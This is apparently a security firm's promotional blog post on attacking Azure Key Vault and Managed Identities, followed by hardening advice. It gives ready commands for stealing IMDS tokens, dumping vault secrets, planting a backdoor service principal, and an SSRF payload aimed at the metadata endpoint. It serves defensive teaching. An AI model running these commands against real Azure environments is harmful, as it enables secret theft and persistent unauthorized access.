Azure Key Vault & Managed Identity Exploitation

Azure Key Vault and Managed Identities are two of the most critical components in any Azure-based infrastructure. They are designed to make secret management and authentication seamless. But in the hands of a misconfigured environment, they become a goldmine for attackers. Understanding how these services get abused is the first step toward locking them down.

This blog walks through how red teamers and malicious actors target Azure Key Vault and Managed Identities, the exact commands they use to move laterally and escalate privileges, and what defenders need to know to stay ahead.

If your organization relies on Azure and you want expert eyes on your cloud attack surface, Redfox Cybersecurity's pentesting services are built precisely for this.

What Is Azure Managed Identity and Why It Gets Targeted

Azure Managed Identity eliminates the need to store credentials in code. There are two types: System-assigned (tied to a specific resource lifecycle) and User-assigned (can be shared across multiple resources). When an identity is assigned to a virtual machine, Azure function, or app service, that resource can request tokens from the Azure Instance Metadata Service (IMDS) without any stored credentials.

This is elegant by design. The problem is that once an attacker gains code execution on a resource with a Managed Identity attached, they inherit all the permissions that identity holds. No password. No MFA bypass needed. Just a single HTTP request.

How Attackers Reach IMDS

The Azure IMDS endpoint is only accessible from within the resource itself, at the non-routable address:

http://169.254.169.254/metadata/identity/oauth2/token


[cta]

An attacker who achieves RCE (remote code execution), SSRF (server-side request forgery), or compromises a shell on an Azure VM can immediately query this endpoint to retrieve an OAuth 2.0 bearer token.

Here is the exact curl command used to pull a token for the Azure Key Vault resource:

curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://vault.azure.net" \
| python3 -m json.tool


[cta]

This returns a JSON payload containing access_token, expires_on, and the token type. That access token is a live, valid bearer token that can now authenticate against Azure Key Vault.

Azure Key Vault Abuse: Extracting Secrets at Scale

Azure Key Vault stores three types of objects: secrets, keys, and certificates. From a red team perspective, secrets are the jackpot. They commonly contain database connection strings, API keys, storage account keys, service principal credentials, and third-party integration tokens.

Once an attacker holds a valid bearer token (obtained from IMDS or any other vector), they can enumerate and extract secrets using the Key Vault REST API directly or via the Azure CLI.

Enumerating Secrets in a Key Vault

# Set the token
TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://vault.azure.net" \
| python3 -c "import sys, json; print(json.load(sys.stdin)['access_token'])")

# List all secrets in the vault
curl -s -H "Authorization: Bearer $TOKEN" \
"https://<VAULT-NAME>.vault.azure.net/secrets?api-version=7.3" \
| python3 -m json.tool


[cta]

Replace <VAULT-NAME> with the target vault name, which can often be discovered through Azure Resource Manager enumeration or environment variables already present on the compromised resource.

Extracting a Specific Secret

curl -s -H "Authorization: Bearer $TOKEN" \
"https://<VAULT-NAME>.vault.azure.net/secrets/<SECRET-NAME>?api-version=7.3" \
| python3 -m json.tool


[cta]

The response includes the plaintext secret value in the value field. If the Managed Identity has the Key Vault Secrets User or Key Vault Reader role, this works without any further authentication.

Bulk Secret Dump Using Azure CLI

If an attacker has access to the Azure CLI (authenticated as the Managed Identity or with a stolen token), bulk enumeration becomes trivial:

# Authenticate with the managed identity token
az login --identity

# List all Key Vaults in the subscription
az keyvault list --query "[].{Name:name, ResourceGroup:resourceGroup}" -o table

# Dump all secrets from a vault
az keyvault secret list --vault-name <VAULT-NAME> -o table

# Retrieve a secret value
az keyvault secret show --vault-name <VAULT-NAME> --name <SECRET-NAME> --query value -o tsv


[cta]

This sequence takes under two minutes on a misconfigured subscription and can yield credentials that pivot to entirely different systems, cloud providers, and SaaS platforms.

If these attack scenarios feel too close for comfort, Redfox Cybersecurity offers specialized Azure pentesting engagements that simulate exactly these attack chains against your environment before a real attacker does.

Privilege Escalation Through Managed Identity Chaining

A particularly dangerous pattern emerges when Managed Identities are granted broad roles like Contributor, Owner, or Key Vault Administrator at the subscription or resource group scope. Attackers call this identity chaining, where compromising one low-privilege resource leads to a Managed Identity that has permissions over other high-value resources.

Enumerating Role Assignments for a Managed Identity

Once you have a token, you can query Azure Resource Manager to see what roles the identity holds:

# Get ARM token
ARM_TOKEN=$(curl -s -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
| python3 -c "import sys, json; print(json.load(sys.stdin)['access_token'])")

# Get the object ID of the managed identity
OBJECT_ID=$(curl -s -H "Authorization: Bearer $ARM_TOKEN" \
"https://management.azure.com/subscriptions/<SUB-ID>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
| python3 -m json.tool)

echo $OBJECT_ID


[cta]

Alternatively, using Azure CLI:

az role assignment list --all --query \
"[?principalType=='ServicePrincipal'].{Role:roleDefinitionName, Scope:scope, Principal:principalName}" \
-o table


[cta]

Finding a Managed Identity with Contributor access at the subscription level is a full compromise of that subscription's resources.

Creating a Backdoor Service Principal

Once a Contributor or Owner role is confirmed, an attacker can create a new service principal with a known password, effectively planting a persistent backdoor:

az ad sp create-for-rbac --name "BackdoorSP" --role Contributor \
--scopes /subscriptions/<SUB-ID> \
--years 2


[cta]

This outputs credentials that survive even if the original compromised resource is shut down.

Key Vault Access Policies vs RBAC: A Misunderstood Attack Surface

Azure Key Vault supports two access control models: the legacy Access Policy model and the newer Azure RBAC model. Many organizations run hybrid environments or have not migrated away from Access Policies, which are more permissive and harder to audit at scale.

Why Access Policies Are Dangerous

Under the Access Policy model, permissions are set per-identity directly on the vault, not through Azure RBAC. This means:

• There is no central role assignment view in Azure Policy or Defender for Cloud that captures them cleanly
• An identity with Get and List permissions on secrets can enumerate and read everything
• Permissions granted through Access Policies do not appear in standard IAM role assignment audits

Attackers specifically look for vaults still using this model because misconfigured access policies often grant broader permissions than intended.

To audit Key Vault access policies programmatically:

az keyvault show --name <VAULT-NAME> \
--query "properties.accessPolicies[].{ObjectId:objectId, Permissions:permissions}" \
-o json


[cta]

Red teamers use this output to identify service principals or users with excessive secret permissions and then pivot accordingly.

This is exactly the type of misconfiguration that Redfox Cybersecurity's cloud security assessments are designed to uncover. Our team maps your entire Key Vault permission surface and provides a prioritized remediation roadmap.

SSRF to Cloud Credential Theft: A Real-World Attack Path

Server-Side Request Forgery is one of the most impactful vulnerabilities in cloud-hosted applications. When an SSRF vulnerability exists in an Azure-hosted web app or function app that has a Managed Identity attached, the IMDS endpoint becomes reachable by the attacker through the application itself.

Exploiting SSRF to Reach IMDS

Consider a vulnerable parameter that makes outbound HTTP requests:

https://victim-app.azurewebsites.net/fetch?url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01%26resource=https://vault.azure.net


[cta]

If the application reflects the response back to the user, the attacker receives the bearer token directly in the browser or API response. This requires no credentials, no network access to the VM, and no prior Azure knowledge beyond knowing the IMDS endpoint.

This is why SSRF in cloud environments is categorized as critical rather than high. The impact radius extends from a single application vulnerability to full credential compromise of every service the Managed Identity can reach.

Detection and Hardening Recommendations

Understanding the attack is only half the equation. Here is what blue teams and cloud security engineers need to implement:

Enable Diagnostic Logging on Key Vault

Every Key Vault should stream logs to a Log Analytics Workspace. The most important log category is AuditEvent, which captures every read, write, and delete against vault objects.

az monitor diagnostic-settings create \
--resource /subscriptions/<SUB-ID>/resourceGroups/<RG>/providers/Microsoft.KeyVault/vaults/<VAULT-NAME> \
--name "KeyVaultDiagnostics" \
--logs '[{"category":"AuditEvent","enabled":true}]' \
--workspace <LOG-ANALYTICS-WORKSPACE-ID>


[cta]

Alert on Anomalous Secret Access Patterns

In Microsoft Sentinel or your SIEM of choice, create analytics rules that fire on:

• Bulk secret enumeration (more than 10 secret reads within 60 seconds from a single identity)
• Secret access from new or unrecognized IP addresses
• Access to Key Vault from identities not seen in the past 30 days
• Access during off-hours or from unexpected Azure regions

Migrate to Azure RBAC for Key Vault

Disable the legacy Access Policy model and enforce Azure RBAC exclusively:

az keyvault update --name <VAULT-NAME> \
--enable-rbac-authorization true


[cta]

Apply the principle of least privilege. Use Key Vault Secrets User (read only) instead of Key Vault Administrator wherever possible.

Restrict Managed Identity Permissions

Audit every Managed Identity in your environment and remove roles that exceed what the workload actually requires. A web application that only reads one secret does not need Contributor access to an entire resource group.

# List all role assignments for a specific managed identity
az role assignment list \
--assignee <MANAGED-IDENTITY-OBJECT-ID> \
--all -o table


[cta]

Why Professional Pentesting Beats Internal Audits for Cloud Security

Checklists and automated scanners catch known misconfigurations, but they miss the creative, chained attack paths that skilled red teamers discover through manual exploration. Azure Key Vault and Managed Identity abuse chains often involve multiple low-severity findings that individually look harmless but together result in full subscription compromise.

Redfox Cybersecurity's pentesting team specializes in:

• Azure and multi-cloud penetration testing
• Identity and access management (IAM) abuse scenarios
• Cloud-native attack simulation aligned to MITRE ATT&CK
• Post-exploitation techniques including lateral movement through Key Vault secrets
• Detailed, developer-friendly remediation reports

Our engagements are scoped to your specific environment, not generic automated scans. We simulate real adversary behavior so you know exactly where your gaps are before attackers find them.

Wrapping Up: The Real Cost of Misconfigured Cloud Identities

Azure Key Vault and Managed Identities are powerful tools. Their very strength, eliminating the need for static credentials, makes them attractive targets when misconfigured. A single compromised VM with an over-privileged Managed Identity can unravel an entire subscription in minutes.

The attack surface is not theoretical. It is actively exploited in the wild, and the techniques covered in this blog are documented across real incident reports, bug bounty disclosures, and red team engagements.

The organizations that stay ahead of these threats are the ones that test their assumptions regularly. If you have not had a cloud-focused penetration test this year, now is the time.

Contact Redfox Cybersecurity to schedule your Azure pentesting engagement and get a clear picture of your cloud security posture before an attacker does.